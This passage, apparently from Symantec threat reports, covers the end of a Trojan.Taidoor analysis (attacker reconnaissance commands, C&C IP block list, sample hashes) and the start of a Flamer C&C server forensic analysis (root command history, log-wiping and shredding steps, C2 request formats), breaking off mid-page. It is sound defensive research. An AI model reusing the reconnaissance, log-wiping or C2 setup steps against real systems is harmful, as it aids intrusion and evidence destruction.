2011-09-16 02:23:15 UTC: RECV [Set sleep interval to 1 second] 2011-09-16 02:23:23 UTC: RECV cmd /c net start 2011-09-16 02:23:31 UTC: RECV cmd /c dir c:\docume~1\ 2011-09-16 02:23:52 UTC: RECV cmd /c dir c:\docume~1\\recent /od 2011-09-16 02:24:00 UTC: RECV cmd /c dir c:\progra~1\ 2011-09-16 02:24:12 UTC: RECV cmd /c dir c:\docume~1\\desktop /od 2011-09-16 02:24:25 UTC: RECV cmd /c netstat 2011-09-16 02:24:32 UTC: RECV cmd /c net use Page 9 Trojan.Taidoor: Targeting Think Tanks Security Response Before the attacker starts an interactive command shell, Taidoor is instructed to reduce the sleep interval to one second. This improves Trojan.Taidoor s response time to subsequent commands sent by the attacker. Over the next 60 seconds the attacker will look for the following information about the compromised host: Currently running services. Contents of the Documents and Settings folder: What users are on the system? Contents of the Recently Used Documents item. Contents of the Program Files folder: What software is installed? Contents of the Desktop. A list of the currently open TCP/IP connections. A list of available network connections. The attacker initially searches for documents and users of interest on the compromised computer. If the user is not a target of interest, the attacker can search for other computers of higher value on the network using the shell or by downloading additional tools on to the compromised computer in order to assist in traversing the network. It is worth noting that this is not automated, but that an actual attacker sitting at the other end, typing these commands. Figure 11 C&C servers by country Hacked third-party servers Some basic reconnaissance was done on the C&C servers used by Trojan.Taidoor. Many of the Taidoor C&C servers probed appeared to be compromised third-party servers, as opposed to leased servers commonly used as part of a C&C infrastructure. The servers are probably used in an effort to hide the true location of the attacker and they simply forward the malicious communication to another location. The highest concentrations of Trojan. Taidoor C&C servers are in the US and Taiwan, as shown in figure 11. Figure 12 Previously hacked C&C server, as shown in a publicly accessible website Simple fingerprinting on these computers revealed that they were consistently running a number of services. It is probable that such services were vulnerable to basic attacks, as several of the C&C servers had been compromised by third-party hackers prior to their use by the Taidoor attackers. The screenshot in figure 12 is from a cached Web page defacement of one particular server. Such defacements are typically performed by attackers with limited skill sets. This implies that the services on the computer were trivial to compromise or that it was poorly maintained, with little or no patching. Page 10 Security Response Trojan.Taidoor: Targeting Think Tanks Variants To date we have seen at least 14 different variants of Trojan.Taidoor. The earliest compilation date is March 11, 2008. Trojan.Taidoor doesn t track version information itself. However, examining modifications to the compiled code section of the back door component over time allows for version tracking. Most of the distinct PE images share identical code sections, and only the details of the C&C servers in the data section differ between attacks. Some versions have seen extensive use, while others have been seen far less frequently, and for very brief periods of time. Figure 13 tracks the modifications over time. Figure 13 Taidoor versioning 2008-2011, based on PE code section similarity This chart shows the date and timestamp of the compiled files with the identified version of the back door. Version 1 was used on March 11, 2008 and version 13 was used from March 16, 2011 up until August 13, 2011. There is very little overlap in use of the back doors between versions. This indicates that a single entity is responsible for development. If the source code of the threat was shared amongst multiple entities, there would be a much larger number of versions, Figure 14 and their use would overlap more. Taidoor version distribution in emails (2010-2011) Several variants were used for an extended period of time, the most widely being version 13 the version used to target think tanks. The chart in figure 14 compares the date of emails, instead of compile time, with the back door version. There is some degree of overlap, but the majority of usage is again distinct between versions. This reinforces the assumption that a single entity is in control of the source code. Page 11 Security Response Trojan.Taidoor: Targeting Think Tanks Patterns of activity Some interesting patterns of behavior were observed during the interactive sessions with the C&C servers. For most of the day the servers would issue a connection reset or return an HTTP 404 (Not Found) message. These servers then woke up for certain periods of the day. These times typically occurred between 1:00 and 8:00 UTC. This was the case for the majority of successful C&C interactions logged, indicating some regular pattern of activity for these attackers. Attacker profile Attributing the Taidoor attacks to a particular party is not likely, but there are a number of factors in the Trojan. Taidoor attacks that may offer an indication as to the source of the threat. Taidoor has been maintained with new versions and new exploits relatively consistently from 2008, up to the end of 2011. Such consistency is possible for an individual working full-time. However, the additional work required to maintain the infrastructure behind Taidoor hacking C&C servers, investigating targets in order to tailor attacks, and then actually spreading within a network once it is compromised is beyond the capabilities of an individual. A number of people are clearly involved. This is likely an organized group of individuals who have a broad range of skills and a reasonable level of hacking ability, given the number of compromised C&C servers. It is quite possible that individuals within the group are given particular roles for each stage of the operation, since this work would divide up easily. However, although the group is active and must consist of several people, their resources are limited. No zeroday exploits have been found associated with Taidoor; only previously published ones. The group does not have the skills to develop a zero-day, nor the funds to obtain them. The C&C servers are hacked, not purchased. Although hacking of the C&C servers does offer a level of anonymity, it is also an unreliable method of control. The hacked C&C servers may be discovered by the owner of the comproTable 4 mised computer and shut down at any time. As such, it is unlikely that Time zones the group has access to substantial funds. The times of operation of the attackers may be an indicator as to their location. As described earlier, interactions with the C&C servers occurred primarily between 1:00 and 8:00 UTC. Table 4 shows these times for various countries around the world. In addition, the group can write competent emails in both English and Traditional Chinese. Region Local Time Japan 10:00am 5:00pm Taiwan 9:00am 4:00pm China (Beijing) 9:00am 4:00pm India 6:30am 1:30pm Russia (Moscow) 5:00am 12:00pm 1:00am 8:00am The motivations of the group are difficult to determine. Clearly there US (Eastern) 8:00pm 3:00am was a major shift in the group in 2011, judging from the change in tarUS (Pacific) 5:00pm 12:00pm gets. Initially starting with a wide range of disparate targets, the group began to focus almost exclusively on one particular type of target policy think tanks and in relation to one particular topic: US-Taiwanese dealings. The nature of the topic is something that would be of most interest to parties involved in the discussions, parties who may be affected by the discussions such as private industry looking for a competitive advantage or nation states, or possibly hackers looking to expose confidential information on such discussions for ideology or fame. Conclusion Trojan.Taidoor s attack methodology follows a consistent pattern associated with targeted attacks: a crafted email with a malicious attachment. It s clear that this group is highly motivated and persistent, which is evident from the longevity of the Taidoor campaign and the variation in targeted organizations. These attacks are ongoing, so we will continue to provide Symantec customers with cutting-edge solutions to protect themselves against both current and future Taidoor attacks. Page 12 Security Response Trojan.Taidoor: Targeting Think Tanks Symantec protection Many different Symantec protection technologies play a role in defending against this threat, including: File-based protection (traditional antivirus) Traditional antivirus protection is designed to detect and block malicious files and is effective against files associated with this attack. Trojan.Taidoor Trojan Horse Trojan.Pidief Network-based protection (IPS) Network-based protection in Symantec Endpoint Protection can help protect against unauthorized network activities conducted by malware threats or intrusion attempts. Symantec Critical System Protection and Symantec Web Gateway can block access to the C&C servers. Behavior-based protection Symantec products, like Symantec Endpoint Protection, with behavior-based detection technology can detect and block previously unknown threats from executing, including those associated with this attack. Files detected by this technology will be reported as Bloodhound.Sonar.9. Reputation-based protection (Insight) Symantec Download Insight, found in Symantec Endpoint Protection and Symantec Web Gateway, can proactively detect and block files associated with this attack using Symantec s extensive file reputation database. Files detected by this technology will be reported as WS.Reputation.1. Email-based protection The Skeptic heuristic engine in Symantec MessageLabs Email Security.cloud can proactively detect and block emails that are associated with this attack. Other protection Application and Device Control Symantec Endpoint Protection users can enable this feature to detect and block potentially malicious files from executing. Symantec Critical System Protection can also prevent unauthorized applications from running. IT Management Suite provides comprehensive software and patch management. Critical System Protection can protect servers against vulnerabilities between patching cycles. Page 13 Trojan.Taidoor: Targeting Think Tanks Security Response Appendix Sample files The following files are a representative sample of those used in the Taidoor attacks. Table 5 Sample MD5s Type Target Region Date 50c3de93fc5ee424b22c85c5132febe9 18/05/2011 d6a23c475907336d5bf0f11111e62d44 17/05/2011 e0255a0bbd6d067bc5d844819fee4ec6 20/06/2011 28f7eca368fd18b0a7c321927281e387 23/06/2011 8e3d7fcfa89307c0d3b7951bd36b3513 22/06/2011 c2e05204221d08d09da1e3315b1b77a1 24/06/2011 e8390f9960e1acb2ca474a05fdbd1feb 24/06/2011 02a1a396e3607a5d2f8ece9fc5d65427 26/06/2011 a41186ac5bef467204c721e824b550cf 27/06/2011 46c6da9be372f64ef17205fd3649fa80 27/06/2011 4c874b2bf0a5ee4bdebf7933af0d66b1 29/06/2011 002cec5517c17ffac2e37908fcab45ff 28/06/2011 207e770f53bf1ea6bfb8068614ad0f70 29/06/2011 d49024573cb0763c1b33259ddbf4dd72 05/07/2011 e05b832dc588b1055d64daa7dfd03eb7 06/07/2011 f8c670662bc2043664269671fb9a2288 07/07/2011 18471c628a29e602ec136c52f54f1f83 08/08/2011 34d333a18b5b8b75cad46601163469ce 04/08/2011 ec8a87a00b874899839b03479b3d7c5c 10/08/2011 c645169173c835c17abb0bde59b594bb 05/08/2011 60d519e00f92b5d635f95f94c2afdc68 16/08/2011 804011277338eb3c372ae4b520124114 21/08/2011 b817c2335e520312d0ae78c309d73d22 15/08/2011 50a713a00c8468f7f033e79a97f6b584 30/08/2011 d642d3dde179ce5be63244c0f6534259 31/08/2011 8810f26133d5586477c8552356fc4439 02/09/2011 527a6cd21f0514ef5baa160b6e6b1482 30/08/2011 90ed80f18b05a52bf2801c7638b371e3 06/09/2011 e8291553bd947082476a123c64ac8e82 14/09/2011 b25c3e81cdef882f532ba78a8fdcd7ca 14/09/2011 60a8524d36d8a5e70d853bf3212616c5 16/09/2011 b8c89fdc109db7522faf2180648dad2f 15/09/2011 4859ba249a200d34189166abfd57a3dd 09/09/2011 309ac58218250726b3588d61738d5b21 29/09/2011 90c88267efd63fd8e22fb0809be372bc 20/09/2011 6491873b351b8d0deccd6e30211ce137 14/10/2011 2a0dcb1915c0465949e7aecfb06f47ea 18/10/2011 08cdc6213d63ea85fbccd335579caec4 20/10/2011 c898abcea6eaaa3e1795322d02e95d7e 24/10/2011 de095f05913928cf58a27f27c5bf8605 25/10/2011 8c57fe2c1112d2122bfd09f5f91f7154 29/10/2011 b4cb1b1182ea0b616ed6702a2b25fac2 01/11/2011 86730a9bc3ab99503322eda6115c1096 03/11/2011 Page 14 Trojan.Taidoor: Targeting Think Tanks Security Response Recommendations Update antivirus definitions Ensure that your antivirus software has up-to-date antivirus definitions and ensure that your product has the autoprotect feature enabled. You can obtain the latest definitions through LiveUpdate or download the latest definition files from our website. Apply patches for the following vulnerabilities Symantec recommends that users apply patches for the following vulnerabilities to help protect against this and similar attacks: Microsoft PowerPoint Malformed Record Remote Code Execution Vulnerability (BID 18382) Microsoft Word Malformed Data Structures Code Execution Vulnerability (BID 21518) Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilities (BID 27641) Microsoft PowerPoint Sound Data (CVE-2009-1129) Remote Code Execution Vulnerability (BID 34839) Adobe Reader and Acrobat newplayer() JavaScript Method Remote Code Execution Vulnerability (BID 37331 Microsoft Excel FEATHEADER Record Remote Code Execution Vulnerability (BID 36945) Adobe Flash Player CVE-2011-0611 File Remote Memory Corruption Vulnerability (BID 47314) Multiple Microsoft Products DLL Loading Arbitrary Code Execution Vulnerability (BID 47741) Adobe Acrobat and Reader CVE-2011-2100 DLL Loading Arbitrary Code Execution Vulnerability (BID 48252) Prevent back door communications Block access to the following command-and-control server IP addresses that are associated with this attack. Table 6 C&C servers Country Registrar 110.142.12.95 Australia 1221 apnic 203.45.204.239 Australia 1221 apnic 220.245.107.203 Australia 7545 apnic 193.170.111.210 Austria 1853 ripencc 88.117.175.114 Austria 8447 ripencc 81.21.80.40 Azerbaijan 39280 ripencc 203.188.255.117 Bangladesh 9832 apnic 24.79.164.206 Canada 6327 arin 213.41.162.198 France 13193 ripencc 62.38.148.117 Greece 3329 ripencc 212.205.207.42 Greece 6799 ripencc 202.82.162.61 Hong Kong 4515 apnic 218.103.88.197 Hong Kong 4515 apnic 220.246.17.40 Hong Kong 4515 apnic 220.246.5.52 Hong Kong 4515 apnic 219.76.232.33 Hong Kong 4515 apnic 202.65.218.205 Hong Kong 9584 apnic 202.60.254.253 Hong Kong 9925 apnic 203.198.133.15 Hong Kong 4760 apnic 203.198.142.209 Hong Kong 4760 apnic 210.3.235.154 Hong Kong 9304 apnic 210.245.194.241 Hong Kong 17444 apnic 122.160.96.111 India 24560 apnic Page 15 Trojan.Taidoor: Targeting Think Tanks Security Response Table 6 C&C servers Country Registrar 61.12.21.84 India 17820 apnic 202.56.122.100 India 10077 apnic 203.92.33.98 India 10029 apnic 59.162.253.38 India 17908 apnic 202.155.109.228 Indonesia 4795 apnic 217.218.246.18 Iran 12880 ripencc 78.39.115.35 Iran 12880 ripencc 78.39.236.6 Iran 12880 ripencc 192.116.205.100 Israel 5486 ripencc 2.116.180.66 Italy 3269 ripencc 83.149.128.190 Italy 31319 ripencc 2.229.10.5 Italy 12874 ripencc 210.20.35.2 Japan 9824 apnic 202.251.249.136 Japan 4686 apnic 61.200.43.129 Japan 17676 apnic 203.179.145.2 Japan 4716 apnic 219.123.85.187 Japan 17506 apnic 61.107.131.147 South Korea 9457 apnic 61.107.29.111 South Korea 9457 apnic 211.177.131.120 South Korea 9318 apnic 211.47.189.41 South Korea 38661 apnic 203.234.132.173 South Korea 9979 apnic 222.101.218.86 South Korea 4766 apnic 61.80.90.113 South Korea 4766 apnic 211.169.248.159 South Korea 3786 apnic 211.233.62.146 South Korea 3786 apnic 211.233.62.147 South Korea 3786 apnic 211.233.62.148 South Korea 3786 apnic 211.234.117.132 South Korea 3786 apnic 211.234.117.185 South Korea 3786 apnic 211.254.153.122 South Korea 3786 apnic 218.208.203.106 Malaysia 4788 apnic 207.248.250.60 Mexico 11172 lacnic 201.158.139.83 Mexico 14000 lacnic 201.175.42.79 Mexico 22908 lacnic 201.116.58.243 Mexico 8151 lacnic 62.231.246.150 Oman 28885 ripencc 203.81.229.89 Pakistan 38616 apnic 200.115.173.102 Panama 27956 lacnic 203.215.80.180 Philippines 6648 apnic 212.33.79.176 Poland 8865 ripencc 62.89.115.229 Poland 12968 ripencc 80.96.120.22 Romania 2614 ripencc 212.76.68.141 Saudi Arabia 41176 ripencc 212.76.68.74 Saudi Arabia 41176 ripencc 212.11.189.124 Saudi Arabia 42428 ripencc 203.126.74.13 Singapore 3758 apnic Page 16 Trojan.Taidoor: Targeting Think Tanks Security Response Table 6 C&C servers Country Registrar 58.185.2.34 Singapore 3758 apnic 202.172.37.145 Singapore 17547 apnic 203.116.203.67 Singapore 4657 apnic 213.81.217.7 Slovakia 6855 ripencc 217.125.43.149 Spain 3352 ripencc 203.64.22.11 Taiwan 1659 apnic 202.39.212.245 Taiwan 3462 apnic 210.242.240.218 Taiwan 3462 apnic 211.20.65.188 Taiwan 3462 apnic 211.21.156.15 Taiwan 3462 apnic 211.22.75.68 Taiwan 3462 apnic 211.72.181.61 Taiwan 3462 apnic 211.72.191.145 Taiwan 3462 apnic 211.72.80.242 Taiwan 3462 apnic 220.130.219.242 Taiwan 3462 apnic 220.133.170.33 Taiwan 3462 apnic 59.120.16.115 Taiwan 3462 apnic 59.120.54.79 Taiwan 3462 apnic 60.248.17.81 Taiwan 3462 apnic 60.249.219.82 Taiwan 3462 apnic 60.251.220.144 Taiwan 3462 apnic 61.218.83.3 Taiwan 3462 apnic 61.220.129.45 Taiwan 3462 apnic 61.220.42.130 Taiwan 3462 apnic 61.221.152.191 Taiwan 3462 apnic 61.221.233.99 Taiwan 3462 apnic 61.222.205.180 Taiwan 3462 apnic 219.84.143.15 Taiwan 18182 apnic 219.87.26.129 Taiwan 9924 apnic 202.3.167.6 Taiwan 9831 apnic 61.19.124.116 Thailand 9931 apnic 61.7.150.118 Thailand 131090 apnic 61.7.158.11 Thailand 131090 apnic 58.137.157.163 Thailand 4750 apnic 58.137.163.166 Thailand 4750 apnic 202.60.203.229 Thailand 17887 apnic 202.183.233.66 Thailand 10227 apnic 113.53.236.67 Thailand 9737 apnic 213.42.74.85 5384 ripencc 64.118.87.250 United States 32742 arin 98.189.155.145 United States 22773 arin 65.115.139.158 United States arin 209.156.150.178 United States 1785 arin 12.43.95.117 United States 7018 arin 168.8.80.21 United States 6389 arin 68.195.237.234 United States 6128 arin 64.39.73.148 United States 27521 arin Page 17 Trojan.Taidoor: Targeting Think Tanks Security Response Table 6 C&C servers Country Registrar 68.82.45.168 United States 7922 arin 65.214.70.122 United States 13388 arin 76.5.157.172 United States 13787 arin 208.40.105.162 United States 2707 arin 184.11.128.172 United States 5650 arin 65.23.153.148 United States 22822 arin 65.23.153.178 United States 22822 arin 216.139.109.156 United States 33165 arin 208.57.226.46 United States 18687 arin 209.123.166.170 United States 8001 arin 64.34.60.218 United States 13768 arin 108.77.146.124 United States 7132 arin 64.167.26.66 United States 7132 arin 65.68.51.49 United States 7132 arin 99.1.23.71 United States 7132 arin 70.63.209.63 United States 11426 arin 216.27.242.38 United States 22343 arin 216.27.242.41 United States 22343 arin 72.9.221.133 United States 22343 arin 174.123.19.84 United States 21844 arin 65.246.9.27 United States arin 65.249.138.102 United States arin 71.246.244.139 United States 19262 arin 96.229.98.180 United States 19262 arin 206.111.214.29 United States 2828 arin Page 18 Security Response Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice. About the authors Stephen Doherty is a Security Response Manager and Piotr Krysiuk is a Senior Software Engineer, located in Dublin, Ireland. For specific country offices and contact numbers, please visit our Web site. For product information in the U.S., call toll-free 1 (800) 745 6054. Symantec Corporation World Headquarters 350 Ellis Street Mountain View, CA 94043 USA +1 (650) 527-8000 www.symantec.com About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information. Headquartered in Moutain View, Calif., Symantec has operations in more than 40 countries. More information is available at www.symantec.com. Copyright 2012 Symantec Corporation. All rights reserved. Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners. Security Response Have I Got Newsforyou: Analysis of Flamer C&C Server Symantec Security Response Contents Overview............................................................. 1 Background......................................................... 2 The server........................................................... 3 The home directory............................................. 6 Stress testing in applications........................ 6 Cleaning up.................................................... 7 Disabling logging........................................... 7 The Web application........................................... 7 Authors.......................................................... 8 Protocols........................................................ 9 Stolen Data.................................................. 11 Activity......................................................... 13 Payload........................................................ 14 The control panel.............................................. 14 The database..................................................... 16 Schema....................................................... 16 Conclusion........................................................ 18 Resources ......................................................... 19 Overview W32.Flamer is a sophisticated cyber espionage tool that targeted the Middle East. It is modular in design and contains some novel functionality, most notably its ability to spread across networks using a previously unknown man-in-the-middle attack against Windows Update. Symantec has performed a detailed forensic analysis of two of the command-and-control (C&C) servers used in the W32.Flamer attacks from earlier this year. Based on our analysis, we were able to uncover details such as when the servers were operational, what entities were targeted, nicknames of those involved in the attack, and techniques used by the attackers to avoid discovery should the command-and-control server be compromised. Analysis of these C&C servers was performed as a joint effort between Symantec, CERT-Bund/BSI, IMPACT, and Kaspersky. This paper focuses on the detailed forensic examination Symantec carried out on the C&C server images. Security Response Have I Got Newsforyou: Analysis of Flamer C&C Server Background The first server was set up on May 18, 2012, and, just five hours after it was set up, it recorded the first interaction with a Flamer-compromised client. The server would go on to control at least a few hundred compromised clients over the next few weeks. The second server was set up on March 25, 2012, and controlled over a thousand clients in a period of just over one week. The servers had been set up to record a minimal amount of information in case of discovery. The systems were configured to disable any unnecessary logging events and entries in the database were deleted at regular intervals. Existing log files were securely deleted from the servers on a regular basis. These steps were taken in order to hamper any investigation should the server fall into the hands of investigators or law enforcement. However, the attackers were not thorough enough, as files revealing the entire history of the servers setup were available and a limited Figure 1 set of encrypted records Data security compartmentalization used by W32.Flamer attackers in the database revealed that compromised clients had been connecting from the Middle East. We were also able to recover the nicknames of four authors D***, H*****, O******, and R*** had worked on the code at various stages and on differing aspects of the project. On both servers commandand-control activity happens through a Web application called Newsforyou. It processes the W32.Flamer client interactions and provides a simple control panel. The control panel allows the attackers to upload packages of code to deliver to compromised clients, and download packages containing stolen client data. However, in a technique not previously seen before the uploaded and downloaded packages are encrypted, so infiltrating the command-and-control server does not reveal the code or the stolen client data. The command- Page 2 Have I Got Newsforyou: Analysis of Flamer C&C Server Security Response and-control server simply serves as a proxy for the data and the data is encrypted and decrypted offline by the attackers using keys unique to each client. This application also contains functionality to communicate with clients compromised by malware other than Flamer. The Web application was designed to be a framework for supporting different malware campaigns. In addition to avoiding the compromise of their operations, preventing both the uploading of rogue code and viewing of stolen data, the setup also maintains a clear distinction of roles. The roles include those responsible for setting up the server (admins), those responsible for uploading packages and downloading stolen data through the control panel (operators), and those holding the private key with the ability to decrypt the stolen data (attack coordinators). The operators themselves may actually be completely unaware of the contents in the stolen data. This is due to design of the process to use data security compartmentalization techniques, as shown in Figure 1. Despite these techniques, we were still able to determine that one of the servers delivered a module instructing Flamer to commit suicide and wipe itself off computers in late May 2012, an action we also witnessed through compromised honeypots. Finally, access to the control panel required a password which is stored as a hash. Despite brute force attempts at reversing the hash to plain text, we were unable to determine the plain text password. What follows is a thorough analysis of one of the command-and-control servers, detailing the server setup, the Web application developed by at least four separate authors since 2006, the control panel used by the operators, and the database that helps drive the application. The report also includes key information about a second server, but in-depth details have been omitted to maintain the brevity of this report. The functionality and structure of both servers is identical. The differences are mainly in the amount of data and number of clients the servers were exposed to. The server File system The following table details the important locations relevant to the investigation of the command-and-control servers. Table 1 Location Description /root/.bash_history Contains a history of root user commands /var/spool/crontabs/root Scripts set up to run at regular intervals //home/[USERNAME] Operator home directory, contains various scripts /var/www/htdocs/newsforyou Command-and-Control Web application /var/lib/mysql MySQL database Server setup The first sign of activity from the attackers on the first server was May 18, 2012. At 11:26 (UTC) the first scheduled job was run and a little over two hours later the server was fully operational. A malicious package was uploaded to the server at 13:53. The first recorded interaction with a W32.Flamer compromised client was at 16:15, when stolen data was uploaded to the server. In comparison, the second server saw initial activity on March 25, 2012, and was fully operational on the same day. Page 3 Security Response Have I Got Newsforyou: Analysis of Flamer C&C Server During the server set up, the attackers installed various applications and tested connections to the MySQL database which supported their custom Web application. The end goal was to install a command-and-control application called Newsforyou which interacted with compromised W32.Flamer clients. An important step taken by the attackers was to hide traces of their activity on the server. They did this by disabling logging and securely removing existing log files. The attackers, however, did not clear out the history of commands issued through the console by the administrator (root) account. This data was visible and was retrieved from the /root/.bash_history file, which revealed these activities. The following table lists and describes, in brief, a subset of commands that are most relevant to the server set up: Table 2 Command Executed Description netstat Checks open network connections telnet localhost 3306 Tests MySQL server is accepting connections nano apache2.conf Configures Web server adduser [USERNAME] Adds user [USERNAME] crontab /etc/cron.newsforyou Cronjob executes scripts at regular intervals openssl req -newkey rsa:1024 -nodes -x509 -days Creates SSL key python __main__.py 0 2 1 "127.0.0.1" 100 100 Simulator test to add entry (stolen data) python __main__.py 2 1-2 1 "127.0.0.1" 100 Simulator test to retrieve news entry (payload) nano /etc/apache2/ports.conf Configures Web server to listen on TCP port 443 cp /home/[USERNAME]/LogWiper_fixed.txt /LogWiper.sh Prepares log wiper file as BASH script sh /LogWiper.sh Wipes logs and disables logging services mkdir /var/www/common/ Creates folders to be used in redirection mkdir /var/www/wp-content/ Creates folders to be used in redirection mkdir /var/www/pages/ Creates folders to be used in redirection mkdir /var/www/services/ Creates folders to be used in redirection nano /etc/apache2/sites-enabled/default-ssl Sets up URL redirects mkdir -p /var/www/cgi-bin Creates folders to be used in redirection mkdir -p /var/www/htdocs/newsforyou Create Web appplication folder php5 ../DB_creation_script.php Creates database /etc/init.d/apache2 restart Restarts Web server iptables -A INPUT -p tcp --dport 22 -j ACCEPT Accepts connections on TCP port 22(SSH) iptables -A INPUT -p tcp --dport 443 -j ACCEPT Accepts connections on TCP port 443(HTTPS) Following these commands, the Apache server was configured to listen on TCP ports 443 and 8080. The firewall was also reconfigured to allow connections over SSH and HTTPS. Logging activities were disabled and existing log files were securely deleted where necessary. The server is now ready to interact with compromised Flamer clients through the Newsforyou application. The attackers also set up some URL redirections to disguise the true nature of the requests to an inexperienced eye. They would appear to look like legitimate requests for regular looking folder names. An example of one of the redirect rules is shown below: /etc/apache2/sites-available/default-ssl Page 4 Have I Got Newsforyou: Analysis of Flamer C&C Server Security Response ScriptAlias /cgi-bin/ /var/www/cgi-bin/ Scheduled tasks A cronjob was set up to periodically delete files from the file system and remove older entries from the database: /etc/cron.newsforyou Table 3 Repeat Interval Command 2 minutes /var/www/htdocs/newsforyou/UnloadChecker.php >> /var/log/newsforyou.log 6 hours * python /home/[USERNAME]/pycleaner/Eraser.py @Midnight php /home/[USERNAME]/delete.php UnloadChecker.php, which is executed every two minutes, retrieves data uploaded from the compromised computer and places it in a tar archive. The archive could then be downloaded by the operators. Eraser.py is a script used to wipe certain files and content from folders. On one of the servers the operators made an error when setting up the scheduled task. They used the folder name pycleaner when creating the task, but this folder does not exist. The folder containing the script is pycleanscr. As a result, the Eraser.py script was never automatically executed. Figure 2 Communications between C&C server and compromised computers Figure 2 illustrates the simple setup now in place for communicating with W32.Flamer compromised clients. The next sections discuss the files and applications of most interest to the investigation, along with their locations. The analysis begins in the home directory of the unique added user, a folder that is created once the user is added during the initial set up. The usernames here were Page 5 Have I Got Newsforyou: Analysis of Flamer C&C Server Security Response short three-letter names, unique to each server. The home directory Location: /home/[USERNAME] The following table contains the location and a brief description of the files and folders present in the user home directory: Table 4 File/Directory Description ./.bashrc Standard .bashrc with no modifications Simulator/ Python application used to test the Newsforyou application pycleanscr/ Python application used to free up disk space if necessary ./LogWiper_fixed.txt Script which disables logging and securely deletes specific log files ./RequestHandler.php Used in the Newsforyou Web application ./Delete.php PHP script which delete files and entries in the MySQL database Stress testing the application Simulator This application consists of a set of Python scripts, which are used to stress test the Newsforyou application. This application was only present on one of the servers. The application connects to a chosen server and issues various queries that conform to the C&C server protocol. The tests performed during the set up were to add an entry (stolen data) and to retrieve a news entry (payload). A point of interest here is the presence of dnslocation.info as part of the HTTP request header the script builds in a file named Connection.py. This is a known Flamer C&C server domain, indicating that the code is being shared and used to test across various C&C servers. The timestamp on this file supports this idea as it is stamped March 22, 2012. When a Python script is executed, a compiled Python file (.pyc) is generated. Examining these files, we confirmed this application was executed on May 18 which corroborates our finding about the system configuration date. Page 6 Have I Got Newsforyou: Analysis of Flamer C&C Server Security Response Cleaning up pycleanscr pycleanscr checks how much free disk space is available on the root partition. It deletes the files in /var/www/ htdocs/newsforyou/tmp/ if the amount of the disk space in use is greater than 75 percent. Delete.php Deletes entries in the news_entries table of the MySQL database and securely deletes the files referenced by that entry on disk that are older than 30 days. Disabling logging LogWiper_fixed.txt This .txt file is renamed to a .sh BASH script and run to disable logging services, to securely delete any prior log files created, and to disable logging in two particular applications required by the attackers: Apache and SSH. Table 5 Log files deleted Services disabled Services with logging disabled /var/log/wtmp Rsyslog Apache /var/log/lastlog Sysklogd /var/run/utmp Msyslog /var/log/mail.* syslog-ng /var/log/syslog* /var/log/messages hidden files in /root and / home /var/log/auth/* /var/log/apache2/* Files are securely deleted using Shred, a tool that repeatedly overwrites files to prevent their recovery, even forensically. The next section will discuss the Web application processing the compromised W32.Flamer client requests. The Web application Location: /var/www/htdocs/newsforyou/ The Newsforyou application is written in PHP and contains the primary command-and-control functionality split into two parts: the main module and the control panel. The control panel is a basic user interface which allows packages to be uploaded and installed on chosen W32.Flamer clients. It also allows for the retrieval of stolen data that had been uploaded from these clients. Page 7 Have I Got Newsforyou: Analysis of Flamer C&C Server Security Response The table below describes the layout and offers a brief description of the components of the Newsforyou application: Table 6 Directories Description /newsforyou Main command and control application /newsforyou/news Encrypted packages distributed to all infected clients* /newsforyou/ads Encrypted packages distributed to chosen infected clients** /newsforyou/entries Encrypted data uploaded from infected clients** /newsforyou/files Temporary location for files when creating unloads /newsforyou/tmp Temporary files (database exports, tar archives) /newsforyou/bak Archives generated when unloading /newsforyou/CP Control panel *Symmetric encryption with known key **Asymmetric encryption with known public key, private key unknown The application is designed to resemble a simple news/blog application. This approach may serve to disguise the true nature of the application from any automation or casual inspection. Although the code was running on a Linux server, it is likely some of the command-and-control servers were running Windows, or at least that the code was developed and tested on Windows computers. The following comment was present in one of the PHP files: -- This function was added by D***, returns a true/false value depending on if this is a Windows box Authors The PHP source code references four authors, identified in the table below, and also attributes to them particular functionality within the code: Table 7 @author Edited Files Dates D*** 12/4/2006 01/23/2007 H***** 09/02/2007 O****** 12/3/2006 R*** 2011 Control Panel Protocols Database Cleanup Encryption It is clear that D*** and H***** had the most input into the project, having edited the most files in the application. O****** and R*** were tasked with database and cleanup operations and could easily have had little or no understanding of the inner workings of the application. However, D*** and H***** have direct involvement in handling interactions with clients, as they worked on the protocols and also worked on the control panel that the operators used. It is likely D*** and O****** knew each other, as they both worked on the same files and during a similar time period in December 2006. Page 8 Security Response Have I Got Newsforyou: Analysis of Flamer C&C Server H***** is responsible for the SignupProtocol, while D*** is involved in the OldProtocol (Flamer), both of which will be discussed in more detail in the next section. Protocols The main module communicating with the compromised clients is index.php. It deciphers the protocol then logs, decodes, and processes requests. Four protocols have been identified, of which three are in use. The Red protocol has not been implemented yet. The existence of three supported protocols, along with one protocol under development, confirms the C&C server s requirement to communicate with multiple evolutions (variants) of W32.Flamer or additional cyberespionage malware families currently unknown to the public. Page 9 Have I Got Newsforyou: Analysis of Flamer C&C Server Security Response These protocols are identified in the table below: Table 8 Protocol Identifier Protocol Request PROTOCOL_OLD* HTTPS UNIQUE_NUMBER=[DIGITS]&PASSWORD=LifeStyle2 PROTOCOL_SIGNUP HTTPS uid=[DIGITS]&action=[DIGITS] PROTOCOL_OLD_E** HTTP NOT(uid=[DIGITS]&action=[DIGITS]) PROTOCOL_RED *Used by W32.Flamer **PROTOCOL_OLD with custom encryption over HTTP Specific requests handled by the application are: Table 9 Request Functionality GetNewsHandler Responsible for sending news to compromised clients AddEntryHandler Responsible for storing entries (stolen data) from compromised clients GetAdHandler Responsible for sending ads to compromised clients The possibility that multiple Trojans, or at least evolutions of W32.Flamer, are at work here is backed up by the fact that four different IDs are used internally to identify them: Table 10 Client Internal ID Protocol Threat CLIENT_TYPE_SP PROTOCOL_OLD Unknown CLIENT_TYPE_SPE PROTOCOL_OLD_E Unknown CLIENT_TYPE_FL PROTOCOL_OLD W32.Flamer CLIENT_TYPE_IP PROTOCOL_SIGNUP Unknown PROTOCOL_RED Unknown Page 10 Have I Got Newsforyou: Analysis of Flamer C&C Server Security 